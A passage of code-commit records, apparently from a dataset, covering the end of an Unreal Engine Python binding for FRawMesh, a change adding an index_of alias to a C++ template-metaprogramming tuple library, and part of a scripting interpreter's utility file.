0)\n\t\"unreal_engine.FRawMesh\", \/* tp_name *\/\n\tsizeof(ue_PyFRawMesh),    \/* tp_basicsize *\/\n\t0,                         \/* tp_itemsize *\/\n\t(destructor)ue_py_fraw_mesh_dealloc,   \/* tp_dealloc *\/\n\t0,                         \/* tp_print *\/\n\t0,                         \/* tp_getattr *\/\n\t0,                         \/* tp_setattr *\/\n\t0,                         \/* tp_reserved *\/\n\t0,                         \/* tp_repr *\/\n\t0,                         \/* tp_as_number *\/\n\t0,                         \/* tp_as_sequence *\/\n\t0,                         \/* tp_as_mapping *\/\n\t0,                         \/* tp_hash  *\/\n\t0,                         \/* tp_call *\/\n\t0,                         \/* tp_str *\/\n\t0,                         \/* tp_getattro *\/\n\t0,                         \/* tp_setattro *\/\n\t0,                         \/* tp_as_buffer *\/\n\tPy_TPFLAGS_DEFAULT,        \/* tp_flags *\/\n\t\"Unreal Engine FRawMesh\", \/* tp_doc *\/\n\t0,                         \/* tp_traverse *\/\n\t0,                         \/* tp_clear *\/\n\t0,                         \/* tp_richcompare *\/\n\t0,                         \/* tp_weaklistoffset *\/\n\t0,                         \/* tp_iter *\/\n\t0,                         \/* tp_iternext *\/\n\tue_PyFRawMesh_methods,    \/* tp_methods *\/\n\t0,   \/* tp_members *\/\n\t0,                         \/* tp_getset *\/\n};\n\nvoid ue_python_init_fraw_mesh(PyObject *ue_module) {\n\tue_PyFRawMeshType.tp_new = PyType_GenericNew;;\n\tue_PyFRawMeshType.tp_init = (initproc)ue_py_fraw_mesh_init;\n\tif (PyType_Ready(&ue_PyFRawMeshType) < 0)\n\t\treturn;\n\n\tPy_INCREF(&ue_PyFRawMeshType);\n\tPyModule_AddObject(ue_module, \"FRawMesh\", (PyObject *)&ue_PyFRawMeshType);\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <tuple>\n#include <typeinfo>\n#include <limits>\n#include <utility>\n\nnamespace mtl {\n\nnamespace internal {\n    static constexpr std::size_t Max = std::numeric_limits<std::size_t>::max();\n\n    template<typename Target, class Tuple> struct index_of_type;\n    template<typename Target>\n        struct index_of_type<Target, std::tuple<>> {\n            static constexpr auto value = Max;\n        };\n    template<typename Target, typename... Rest>\n        struct index_of_type<Target, std::tuple<Target, Rest...>> {\n            static constexpr auto value = 0;\n        };\n    template<typename Target, typename First, typename... Rest>\n        struct index_of_type<Target, std::tuple<First, Rest...>> {\n            static constexpr auto next = index_of_type<Target, std::tuple<Rest...>>::value;\n            static constexpr auto value = next == Max ? Max : next + 1;\n        };\n\n    template <typename Target, class Tuple, std::size_t From = 0>\n        struct has_type {\n            static constexpr auto value = internal::index_of_type<Target, Tuple>::value != internal::Max;\n        };\n\n    template<typename Result, typename... Tuples> struct ConcatImpl;\n    template<typename... Result, typename... Types>\n        struct ConcatImpl<std::tuple<Result...>, std::tuple<Types...>> {\n            using type = std::tuple<Result..., Types...>;\n        };\n    template<typename... Result, typename... Types, typename... Tuples>\n        struct ConcatImpl<std::tuple<Result...>, std::tuple<Types...>, Tuples...> {\n            using type = typename ConcatImpl<std::tuple<Result..., Types...>, Tuples...>::type;\n        };\n\n    template<typename Tuple> struct TailImpl;\n    template<> struct TailImpl<std::tuple<>> { using type = std::tuple<>; };\n    template<typename First, typename... Params>\n        struct TailImpl<std::tuple<First, Params...>> {\n            using type = std::tuple<Params...>;\n        };\n\n    template<typename Tuple, template<typename> class Operation> struct TransformImpl;\n    template<template<typename> class Operation, typename... Params>\n        struct TransformImpl<std::tuple<Params...>, Operation> {\n            using type = std::tuple<typename Operation<Params>::type...>;\n        };\n\n    template<template<typename> class Predicate, typename Tuple, typename Result = std::tuple<>, typename Enable = void> struct FilterImpl;\n    template<template<typename> class Predicate, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<>, std::tuple<Done...>> {\n            using type = std::tuple<Done...>;\n        };\n    template<template<typename> class Predicate, typename Head, typename... Tail, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<Head, Tail...>, std::tuple<Done...>,\n            typename std::enable_if<!Predicate<Head>::value>::type> {\n            using type = typename FilterImpl<Predicate, std::tuple<Tail...>, std::tuple<Done...>>::type;\n        };\n    template<template<typename> class Predicate, typename Head, typename... Tail, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<Head, Tail...>, std::tuple<Done...>,\n            typename std::enable_if<Predicate<Head>::value>::type> {\n            using type = typename FilterImpl<Predicate, std::tuple<Tail...>, std::tuple<Done..., Head>>::type;\n        };\n\n    template<typename Tuple, typename Result = std::tuple<>, typename Enabled = void> struct UniqueImpl;\n    template<typename... Result>\n        struct UniqueImpl<std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result...>;\n        };\n    template<typename... Result, typename Head, typename... Rest>\n        struct UniqueImpl<std::tuple<Head, Rest...>, std::tuple<Result...>,\n            typename std::enable_if<has_type<Head, std::tuple<Result...>>::value>::type> {\n            using type = typename UniqueImpl<std::tuple<Rest...>, std::tuple<Result...>>::type;\n        };\n    template<typename... Result, typename Head, typename... Rest>\n        struct UniqueImpl<std::tuple<Head, Rest...>, std::tuple<Result...>,\n            typename std::enable_if<!has_type<Head, std::tuple<Result...>>::value>::type> {\n            using type = typename UniqueImpl<std::tuple<Rest...>, std::tuple<Result..., Head>>::type;\n        };\n\n    template<typename T>\n        struct WithoutFilter {\n            template<typename G>\n                struct Predicate {\n                    static constexpr auto value = !std::is_same<T, G>::value;\n                };\n        };\n    template<typename T, typename Tuple> struct WithoutImpl;\n    template<typename T, typename... Params>\n        struct WithoutImpl<T, std::tuple<Params...>> {\n            using type = typename FilterImpl<WithoutFilter<T>::template Predicate, std::tuple<Params...>, std::tuple<>>::type;\n        };\n\n    template<typename A, typename B, typename Result = std::tuple<>> struct InterleaveImpl;\n    template<typename... Result>\n        struct InterleaveImpl<std::tuple<>, std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result...>;\n        };\n    template<typename... AParams, typename... Result>\n        struct InterleaveImpl<std::tuple<AParams...>, std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result..., AParams...>;\n        };\n    template<typename... BParams, typename... Result>\n        struct InterleaveImpl<std::tuple<>, std::tuple<BParams...>, std::tuple<Result...>> {\n            using type = std::tuple<Result..., BParams...>;\n        };\n    template<typename AFirst, typename... AParams, typename BFirst, typename... BParams, typename... Result>\n        struct InterleaveImpl<std::tuple<AFirst, AParams...>, std::tuple<BFirst, BParams...>, std::tuple<Result...>> {\n            using type = typename InterleaveImpl<std::tuple<AParams...>, std::tuple<BParams...>, std::tuple<Result..., AFirst, BFirst>>::type;\n        };\n\n    template<typename T1, typename T2, typename CompT>\n        struct LessOrSame {\n            static constexpr auto value = index_of_type<T1, CompT>::value <= index_of_type<T2, CompT>::value;\n        };\n\n    template<typename A, typename B, typename Comparison, typename Result = std::tuple<>, typename Enabled = void> struct MergeImpl {};\n    template<typename... Right, typename... ResultArgs, typename Comp>\n        struct MergeImpl<std::tuple<>, std::tuple<Right...>, Comp, std::tuple<ResultArgs...>> {\n            using type = std::tuple<ResultArgs..., Right...>;\n        };\n    template<typename... Left, typename... ResultArgs, typename Comp>\n        struct MergeImpl<std::tuple<Left...>, std::tuple<>, Comp, std::tuple<ResultArgs...>> {\n            using type = std::tuple<ResultArgs..., Left...>;\n        };\n    template<typename LeftHead, typename RightHead, typename... Left, typename... Right, typename Comp, typename... ResultArgs>\n        struct MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs...>,\n                typename std::enable_if<!LessOrSame<LeftHead, RightHead, Comp>::value>::type> {\n            using type = typename MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<Right...>, Comp, std::tuple<ResultArgs..., RightHead>>::type;\n        };\n    template<typename LeftHead, typename RightHead, typename... Left, typename... Right, typename Comp, typename... ResultArgs>\n        struct MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs...>,\n                typename std::enable_if<LessOrSame<LeftHead, RightHead, Comp>::value>::type> {\n            using type = typename MergeImpl<std::tuple<Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs..., LeftHead>>::type;\n        };\n\n    template<typename Tuple, typename Pivot, typename Comp, typename Left = std::tuple<>, typename Right = std::tuple<>, typename Enabled = void> struct PartitionImpl;\n    template<typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>> {\n            using left = std::tuple<Left...>;\n            using right = std::tuple<Right...>;\n        };\n    template<typename Head, typename... Rest, typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<Head, Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>,\n                     typename std::enable_if<LessOrSame<Head, Pivot, Comp>::value>::type> {\n            using left = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left..., Head>, std::tuple<Right...>>::left;\n            using right = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left..., Head>, std::tuple<Right...>>::right;\n        };\n    template<typename Head, typename... Rest, typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<Head, Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>,\n                     typename std::enable_if<!LessOrSame<Head, Pivot, Comp>::value>::type> {\n            using left = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right..., Head>>::left;\n            using right = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right..., Head>>::right;\n        };\n\n    template<typename Tuple, typename Comparison, typename Enabled = void> struct SortImpl;\n    template<typename Comparison> struct SortImpl<std::tuple<>, Comparison> { using type = std::tuple<>; };\n    template<typename Head, typename Comparison> struct SortImpl<std::tuple<Head>, Comparison> { using type = std::tuple<Head>; };\n    template<typename Head, typename... Rest, typename Comparison>\n        struct SortImpl<std::tuple<Head, Rest...>, Comparison> {\n            using partition = PartitionImpl<std::tuple<Rest...>, Head, Comparison>;\n            using sorted_left = typename SortImpl<typename partition::left, Comparison>::type;\n            using sorted_right = typename SortImpl<typename partition::right, Comparison>::type;\n            using type = typename ConcatImpl<sorted_left, std::tuple<Head>, sorted_right>::type;\n        };\n\n} \/\/ namespace internal\n\ntemplate<typename Target, class Tuple, std::size_t From = 0> using has_type = typename internal::has_type<Target, Tuple, From>;\ntemplate<typename Tuple, std::size_t... Idx> using select = std::tuple<typename std::tuple_element<Idx, Tuple>::type...>;\ntemplate<typename Tuple> using head = typename std::tuple_element<0, Tuple>::type;\ntemplate<typename Tuple> using tail = typename internal::TailImpl<Tuple>::type;\ntemplate<typename... Tuples> using concat = typename internal::ConcatImpl<std::tuple<>, Tuples...>::type;\ntemplate<typename Tuple, template<typename> class Operation> using transform = typename internal::TransformImpl<Tuple, Operation>::type;\ntemplate<template<typename> class Predicate, typename Tuple> using filter = typename internal::FilterImpl<Predicate, Tuple>::type;\ntemplate<typename Tuple> using unique = typename internal::UniqueImpl<Tuple>::type;\ntemplate<typename T, typename Tuple> using without = typename internal::WithoutImpl<T, Tuple>::type;\ntemplate<typename A, typename B> using interleave = typename internal::InterleaveImpl<A, B>::type;\ntemplate<typename A, typename B, typename Comparison> using merge = typename internal::MergeImpl<A, B, unique<Comparison>>::type;\ntemplate<typename Tuple, typename Pivot, typename Comparison> using partition = typename internal::PartitionImpl<Tuple, Pivot, Comparison>::type;\ntemplate<typename Tuple, typename Comparison> using sort = typename internal::SortImpl<Tuple, Comparison>::type;\n\n} \/\/ namespace mtl\n<commit_msg>index_of<commit_after>#pragma once\n\n#include <tuple>\n#include <typeinfo>\n#include <limits>\n#include <utility>\n\nnamespace mtl {\n\nnamespace internal {\n    static constexpr std::size_t Max = std::numeric_limits<std::size_t>::max();\n\n    template<typename Target, class Tuple> struct index_of_type;\n    template<typename Target>\n        struct index_of_type<Target, std::tuple<>> {\n            static constexpr auto value = Max;\n        };\n    template<typename Target, typename... Rest>\n        struct index_of_type<Target, std::tuple<Target, Rest...>> {\n            static constexpr auto value = 0;\n        };\n    template<typename Target, typename First, typename... Rest>\n        struct index_of_type<Target, std::tuple<First, Rest...>> {\n            static constexpr auto next = index_of_type<Target, std::tuple<Rest...>>::value;\n            static constexpr auto value = next == Max ? Max : next + 1;\n        };\n\n    template <typename Target, class Tuple, std::size_t From = 0>\n        struct has_type {\n            static constexpr auto value = internal::index_of_type<Target, Tuple>::value != internal::Max;\n        };\n\n    template<typename Result, typename... Tuples> struct ConcatImpl;\n    template<typename... Result, typename... Types>\n        struct ConcatImpl<std::tuple<Result...>, std::tuple<Types...>> {\n            using type = std::tuple<Result..., Types...>;\n        };\n    template<typename... Result, typename... Types, typename... Tuples>\n        struct ConcatImpl<std::tuple<Result...>, std::tuple<Types...>, Tuples...> {\n            using type = typename ConcatImpl<std::tuple<Result..., Types...>, Tuples...>::type;\n        };\n\n    template<typename Tuple> struct TailImpl;\n    template<> struct TailImpl<std::tuple<>> { using type = std::tuple<>; };\n    template<typename First, typename... Params>\n        struct TailImpl<std::tuple<First, Params...>> {\n            using type = std::tuple<Params...>;\n        };\n\n    template<typename Tuple, template<typename> class Operation> struct TransformImpl;\n    template<template<typename> class Operation, typename... Params>\n        struct TransformImpl<std::tuple<Params...>, Operation> {\n            using type = std::tuple<typename Operation<Params>::type...>;\n        };\n\n    template<template<typename> class Predicate, typename Tuple, typename Result = std::tuple<>, typename Enable = void> struct FilterImpl;\n    template<template<typename> class Predicate, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<>, std::tuple<Done...>> {\n            using type = std::tuple<Done...>;\n        };\n    template<template<typename> class Predicate, typename Head, typename... Tail, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<Head, Tail...>, std::tuple<Done...>,\n            typename std::enable_if<!Predicate<Head>::value>::type> {\n            using type = typename FilterImpl<Predicate, std::tuple<Tail...>, std::tuple<Done...>>::type;\n        };\n    template<template<typename> class Predicate, typename Head, typename... Tail, typename... Done>\n        struct FilterImpl<Predicate, std::tuple<Head, Tail...>, std::tuple<Done...>,\n            typename std::enable_if<Predicate<Head>::value>::type> {\n            using type = typename FilterImpl<Predicate, std::tuple<Tail...>, std::tuple<Done..., Head>>::type;\n        };\n\n    template<typename Tuple, typename Result = std::tuple<>, typename Enabled = void> struct UniqueImpl;\n    template<typename... Result>\n        struct UniqueImpl<std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result...>;\n        };\n    template<typename... Result, typename Head, typename... Rest>\n        struct UniqueImpl<std::tuple<Head, Rest...>, std::tuple<Result...>,\n            typename std::enable_if<has_type<Head, std::tuple<Result...>>::value>::type> {\n            using type = typename UniqueImpl<std::tuple<Rest...>, std::tuple<Result...>>::type;\n        };\n    template<typename... Result, typename Head, typename... Rest>\n        struct UniqueImpl<std::tuple<Head, Rest...>, std::tuple<Result...>,\n            typename std::enable_if<!has_type<Head, std::tuple<Result...>>::value>::type> {\n            using type = typename UniqueImpl<std::tuple<Rest...>, std::tuple<Result..., Head>>::type;\n        };\n\n    template<typename T>\n        struct WithoutFilter {\n            template<typename G>\n                struct Predicate {\n                    static constexpr auto value = !std::is_same<T, G>::value;\n                };\n        };\n    template<typename T, typename Tuple> struct WithoutImpl;\n    template<typename T, typename... Params>\n        struct WithoutImpl<T, std::tuple<Params...>> {\n            using type = typename FilterImpl<WithoutFilter<T>::template Predicate, std::tuple<Params...>, std::tuple<>>::type;\n        };\n\n    template<typename A, typename B, typename Result = std::tuple<>> struct InterleaveImpl;\n    template<typename... Result>\n        struct InterleaveImpl<std::tuple<>, std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result...>;\n        };\n    template<typename... AParams, typename... Result>\n        struct InterleaveImpl<std::tuple<AParams...>, std::tuple<>, std::tuple<Result...>> {\n            using type = std::tuple<Result..., AParams...>;\n        };\n    template<typename... BParams, typename... Result>\n        struct InterleaveImpl<std::tuple<>, std::tuple<BParams...>, std::tuple<Result...>> {\n            using type = std::tuple<Result..., BParams...>;\n        };\n    template<typename AFirst, typename... AParams, typename BFirst, typename... BParams, typename... Result>\n        struct InterleaveImpl<std::tuple<AFirst, AParams...>, std::tuple<BFirst, BParams...>, std::tuple<Result...>> {\n            using type = typename InterleaveImpl<std::tuple<AParams...>, std::tuple<BParams...>, std::tuple<Result..., AFirst, BFirst>>::type;\n        };\n\n    template<typename T1, typename T2, typename CompT>\n        struct LessOrSame {\n            static constexpr auto value = index_of_type<T1, CompT>::value <= index_of_type<T2, CompT>::value;\n        };\n\n    template<typename A, typename B, typename Comparison, typename Result = std::tuple<>, typename Enabled = void> struct MergeImpl {};\n    template<typename... Right, typename... ResultArgs, typename Comp>\n        struct MergeImpl<std::tuple<>, std::tuple<Right...>, Comp, std::tuple<ResultArgs...>> {\n            using type = std::tuple<ResultArgs..., Right...>;\n        };\n    template<typename... Left, typename... ResultArgs, typename Comp>\n        struct MergeImpl<std::tuple<Left...>, std::tuple<>, Comp, std::tuple<ResultArgs...>> {\n            using type = std::tuple<ResultArgs..., Left...>;\n        };\n    template<typename LeftHead, typename RightHead, typename... Left, typename... Right, typename Comp, typename... ResultArgs>\n        struct MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs...>,\n                typename std::enable_if<!LessOrSame<LeftHead, RightHead, Comp>::value>::type> {\n            using type = typename MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<Right...>, Comp, std::tuple<ResultArgs..., RightHead>>::type;\n        };\n    template<typename LeftHead, typename RightHead, typename... Left, typename... Right, typename Comp, typename... ResultArgs>\n        struct MergeImpl<std::tuple<LeftHead, Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs...>,\n                typename std::enable_if<LessOrSame<LeftHead, RightHead, Comp>::value>::type> {\n            using type = typename MergeImpl<std::tuple<Left...>, std::tuple<RightHead, Right...>, Comp, std::tuple<ResultArgs..., LeftHead>>::type;\n        };\n\n    template<typename Tuple, typename Pivot, typename Comp, typename Left = std::tuple<>, typename Right = std::tuple<>, typename Enabled = void> struct PartitionImpl;\n    template<typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>> {\n            using left = std::tuple<Left...>;\n            using right = std::tuple<Right...>;\n        };\n    template<typename Head, typename... Rest, typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<Head, Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>,\n                     typename std::enable_if<LessOrSame<Head, Pivot, Comp>::value>::type> {\n            using left = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left..., Head>, std::tuple<Right...>>::left;\n            using right = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left..., Head>, std::tuple<Right...>>::right;\n        };\n    template<typename Head, typename... Rest, typename Pivot, typename Comp, typename... Left, typename... Right>\n        struct PartitionImpl<std::tuple<Head, Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right...>,\n                     typename std::enable_if<!LessOrSame<Head, Pivot, Comp>::value>::type> {\n            using left = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right..., Head>>::left;\n            using right = typename PartitionImpl<std::tuple<Rest...>, Pivot, Comp, std::tuple<Left...>, std::tuple<Right..., Head>>::right;\n        };\n\n    template<typename Tuple, typename Comparison, typename Enabled = void> struct SortImpl;\n    template<typename Comparison> struct SortImpl<std::tuple<>, Comparison> { using type = std::tuple<>; };\n    template<typename Head, typename Comparison> struct SortImpl<std::tuple<Head>, Comparison> { using type = std::tuple<Head>; };\n    template<typename Head, typename... Rest, typename Comparison>\n        struct SortImpl<std::tuple<Head, Rest...>, Comparison> {\n            using partition = PartitionImpl<std::tuple<Rest...>, Head, Comparison>;\n            using sorted_left = typename SortImpl<typename partition::left, Comparison>::type;\n            using sorted_right = typename SortImpl<typename partition::right, Comparison>::type;\n            using type = typename ConcatImpl<sorted_left, std::tuple<Head>, sorted_right>::type;\n        };\n\n} \/\/ namespace internal\n\ntemplate<typename Target, class Tuple, std::size_t From = 0> using has_type = typename internal::has_type<Target, Tuple, From>;\ntemplate<typename Tuple, std::size_t... Idx> using select = std::tuple<typename std::tuple_element<Idx, Tuple>::type...>;\ntemplate<typename Tuple> using head = typename std::tuple_element<0, Tuple>::type;\ntemplate<typename Tuple> using tail = typename internal::TailImpl<Tuple>::type;\ntemplate<typename... Tuples> using concat = typename internal::ConcatImpl<std::tuple<>, Tuples...>::type;\ntemplate<typename Tuple, template<typename> class Operation> using transform = typename internal::TransformImpl<Tuple, Operation>::type;\ntemplate<template<typename> class Predicate, typename Tuple> using filter = typename internal::FilterImpl<Predicate, Tuple>::type;\ntemplate<typename Tuple> using unique = typename internal::UniqueImpl<Tuple>::type;\ntemplate<typename T, typename Tuple> using without = typename internal::WithoutImpl<T, Tuple>::type;\ntemplate<typename A, typename B> using interleave = typename internal::InterleaveImpl<A, B>::type;\ntemplate<typename A, typename B, typename Comparison> using merge = typename internal::MergeImpl<A, B, unique<Comparison>>::type;\ntemplate<typename Tuple, typename Pivot, typename Comparison> using partition = typename internal::PartitionImpl<Tuple, Pivot, Comparison>::type;\ntemplate<typename Tuple, typename Comparison> using sort = typename internal::SortImpl<Tuple, Comparison>::type;\ntemplate<typename T, typename... Types> constexpr auto index_of = internal::index_of_type<std::decay<T>, std::tuple<std::decay<Types>...>>::value;\n\n} \/\/ namespace mtl\n<|endoftext|>"}
{"text":"<commit_before>#include \"types.h\"\r\n#include \"bison.h\"\r\n#include \"fake.h\"\r\n#include \"variant.h\"\r\n#include \"paramstack.h\"\r\n#ifdef WIN32\r\n#include <windows.h>\r\n#else\r\n#include <sys\/time.h>\r\n#endif\r\n\r\nvoid fklog(const char * header, const char * file, const char * func, int pos, const char *fmt, ...)\r\n{\r\n\tFILE *pLog = NULL;\r\n\ttime_t clock1;\r\n\tstruct tm * tptr;\r\n\tva_list ap;\r\n\t\r\n\tpLog = fopen(\"fakescript.log\", \"a+\");\r\n\tif (pLog == NULL)\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\t\r\n\tclock1 = time(0);\r\n\ttptr = localtime(&clock1);\r\n\r\n\tfprintf(pLog, \"===========================[%d.%d.%d, %d.%d.%d]%s:%d,%s:===========================\\n%s\", \r\n\t\ttptr->tm_year+1990,tptr->tm_mon+1,\r\n\t\ttptr->tm_mday,tptr->tm_hour,tptr->tm_min,\r\n\t\ttptr->tm_sec,file,pos,func,header);\r\n\r\n\tva_start(ap, fmt);\r\n\tvfprintf(pLog, fmt, ap);\r\n\tfprintf(pLog, \"\\n\\n\");\r\n\tva_end(ap);\r\n\r\n\tfclose(pLog);\r\n}\r\n\r\nString fkget_token_name(int token)\r\n{\r\n#define TOKEN_SWITCH(x) case x: return #x;\r\n    switch (token)\r\n    {\r\n        TOKEN_SWITCH(VAR_BEGIN)\r\n        TOKEN_SWITCH(RETURN)\r\n        TOKEN_SWITCH(BREAK)\r\n        TOKEN_SWITCH(FUNC)\r\n        TOKEN_SWITCH(WHILE)\r\n        TOKEN_SWITCH(TRUE)\r\n        TOKEN_SWITCH(FALSE)\r\n        TOKEN_SWITCH(IF)\r\n        TOKEN_SWITCH(THEN)\r\n        TOKEN_SWITCH(ELSE)\r\n        TOKEN_SWITCH(END)\r\n        TOKEN_SWITCH(STRING_DEFINITION)\r\n        TOKEN_SWITCH(IDENTIFIER)\r\n        TOKEN_SWITCH(NUMBER)\r\n        TOKEN_SWITCH(SINGLE_LINE_COMMENT)\r\n        TOKEN_SWITCH(DIVIDE_MOD)\r\n        TOKEN_SWITCH(ARG_SPLITTER)\r\n        TOKEN_SWITCH(PLUS)\r\n        TOKEN_SWITCH(MINUS)\r\n        TOKEN_SWITCH(DIVIDE)\r\n        TOKEN_SWITCH(MULTIPLY)\r\n        TOKEN_SWITCH(ASSIGN)\r\n        TOKEN_SWITCH(MORE)\r\n        TOKEN_SWITCH(LESS)\r\n        TOKEN_SWITCH(MORE_OR_EQUAL)\r\n        TOKEN_SWITCH(LESS_OR_EQUAL)\r\n        TOKEN_SWITCH(EQUAL)\r\n        TOKEN_SWITCH(NOT_EQUAL)\r\n        TOKEN_SWITCH(OPEN_BRACKET)\r\n        TOKEN_SWITCH(CLOSE_BRACKET)\r\n        TOKEN_SWITCH(FKFLOAT)\r\n        TOKEN_SWITCH(PLUS_ASSIGN)\r\n        TOKEN_SWITCH(MINUS_ASSIGN)\r\n        TOKEN_SWITCH(DIVIDE_ASSIGN)\r\n\t\tTOKEN_SWITCH(MULTIPLY_ASSIGN)\r\n\t\tTOKEN_SWITCH(DIVIDE_MOD_ASSIGN)\r\n\t\tTOKEN_SWITCH(FOR)\r\n    }\r\n#undef TOKEN_SWITCH\r\n\treturn fkitoa(token);\r\n}\r\n\r\nvoid * safe_fkmalloc(fake * fk, size_t size)\r\n{\r\n    if (fk && size)\r\n    {\r\n        return fk->cfg.fkm(size);\r\n    }\r\n    return 0;\r\n}\r\n\r\nvoid safe_fkfree(fake * fk, const void * p)\r\n{\r\n    if (fk && p)\r\n    {\r\n        fk->cfg.fkf((void *)p);\r\n    }\r\n}\r\n\r\nvoid seterror(fake * fk, efkerror err, const char *fmt, ...)\r\n{\r\n    fk->errorno = err;\r\n\tva_list ap;\r\n\tva_start(ap, fmt);\r\n    vsnprintf(fk->errorstr, sizeof(fk->errorstr) - 1, fmt, ap);\r\n\tva_end(ap);\r\n\tfk->errorstr[sizeof(fk->errorstr) - 1] = 0;\r\n}\r\n\r\nString vartostring(const variant * v)\r\n{\r\n    String s;\r\n    V_TOSTRING(v, s);\r\n    return s;\r\n}\r\n\r\nparamstack * getps(fake * fk)\r\n{\r\n    return &fk->ps;\r\n}\r\n\r\nchar * stringdump(fake * fk, const char * src, size_t sz)\r\n{\r\n\tchar * s = (char*)safe_fkmalloc(fk, sz + 1);\r\n\tmemcpy(s, src, sz);\r\n\ts[sz] = 0;\r\n\treturn s;\r\n}\r\n\r\nuint32_t fkgetmstick()\r\n{\r\n#ifdef WIN32\r\n\treturn ::GetTickCount();\r\n#else\r\n\tstruct timeval tv;\r\n\tif(::gettimeofday(&tv, 0) == 0)\r\n\t{\r\n\t\tuint64_t t = tv.tv_sec * 1000;\r\n\t\tt += tv.tv_usec \/ 1000;\r\n\t\treturn t & 0xffffffff;\r\n\t}\r\n\treturn 0;\r\n#endif\r\n}\r\n<commit_msg>asdgasdg<commit_after>#include \"types.h\"\r\n#include \"bison.h\"\r\n#include \"fake.h\"\r\n#include \"variant.h\"\r\n#include \"paramstack.h\"\r\n#ifdef WIN32\r\n#include <windows.h>\r\n#else\r\n#include <sys\/time.h>\r\n#endif\r\n\r\nvoid fklog(const char * header, const char * file, const char * func, int pos, const char *fmt, ...)\r\n{\r\n\tFILE *pLog = NULL;\r\n\ttime_t clock1;\r\n\tstruct tm * tptr;\r\n\tva_list ap;\r\n\t\r\n\tpLog = fopen(\"fakescript.log\", \"a+\");\r\n\tif (pLog == NULL)\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\t\r\n\tclock1 = time(0);\r\n\ttptr = localtime(&clock1);\r\n\r\n\tfprintf(pLog, \"===========================[%d.%d.%d, %d.%d.%d]%s:%d,%s:===========================\\n%s\", \r\n\t\ttptr->tm_year+1990,tptr->tm_mon+1,\r\n\t\ttptr->tm_mday,tptr->tm_hour,tptr->tm_min,\r\n\t\ttptr->tm_sec,file,pos,func,header);\r\n\r\n\tva_start(ap, fmt);\r\n\tvfprintf(pLog, fmt, ap);\r\n\tfprintf(pLog, \"\\n\\n\");\r\n\tva_end(ap);\r\n\r\n\tfclose(pLog);\r\n}\r\n\r\nString fkget_token_name(int token)\r\n{\r\n#define TOKEN_SWITCH(x) case x: return #x;\r\n    switch (token)\r\n    {\r\n        TOKEN_SWITCH(VAR_BEGIN)\r\n        TOKEN_SWITCH(RETURN)\r\n        TOKEN_SWITCH(BREAK)\r\n        TOKEN_SWITCH(FUNC)\r\n        TOKEN_SWITCH(WHILE)\r\n        TOKEN_SWITCH(TRUE)\r\n        TOKEN_SWITCH(FALSE)\r\n        TOKEN_SWITCH(IF)\r\n        TOKEN_SWITCH(THEN)\r\n        TOKEN_SWITCH(ELSE)\r\n        TOKEN_SWITCH(END)\r\n        TOKEN_SWITCH(STRING_DEFINITION)\r\n        TOKEN_SWITCH(IDENTIFIER)\r\n        TOKEN_SWITCH(NUMBER)\r\n        TOKEN_SWITCH(SINGLE_LINE_COMMENT)\r\n        TOKEN_SWITCH(DIVIDE_MOD)\r\n        TOKEN_SWITCH(ARG_SPLITTER)\r\n        TOKEN_SWITCH(PLUS)\r\n        TOKEN_SWITCH(MINUS)\r\n        TOKEN_SWITCH(DIVIDE)\r\n        TOKEN_SWITCH(MULTIPLY)\r\n        TOKEN_SWITCH(ASSIGN)\r\n        TOKEN_SWITCH(MORE)\r\n        TOKEN_SWITCH(LESS)\r\n        TOKEN_SWITCH(MORE_OR_EQUAL)\r\n        TOKEN_SWITCH(LESS_OR_EQUAL)\r\n        TOKEN_SWITCH(EQUAL)\r\n        TOKEN_SWITCH(NOT_EQUAL)\r\n        TOKEN_SWITCH(OPEN_BRACKET)\r\n        TOKEN_SWITCH(CLOSE_BRACKET)\r\n        TOKEN_SWITCH(FKFLOAT)\r\n        TOKEN_SWITCH(PLUS_ASSIGN)\r\n        TOKEN_SWITCH(MINUS_ASSIGN)\r\n        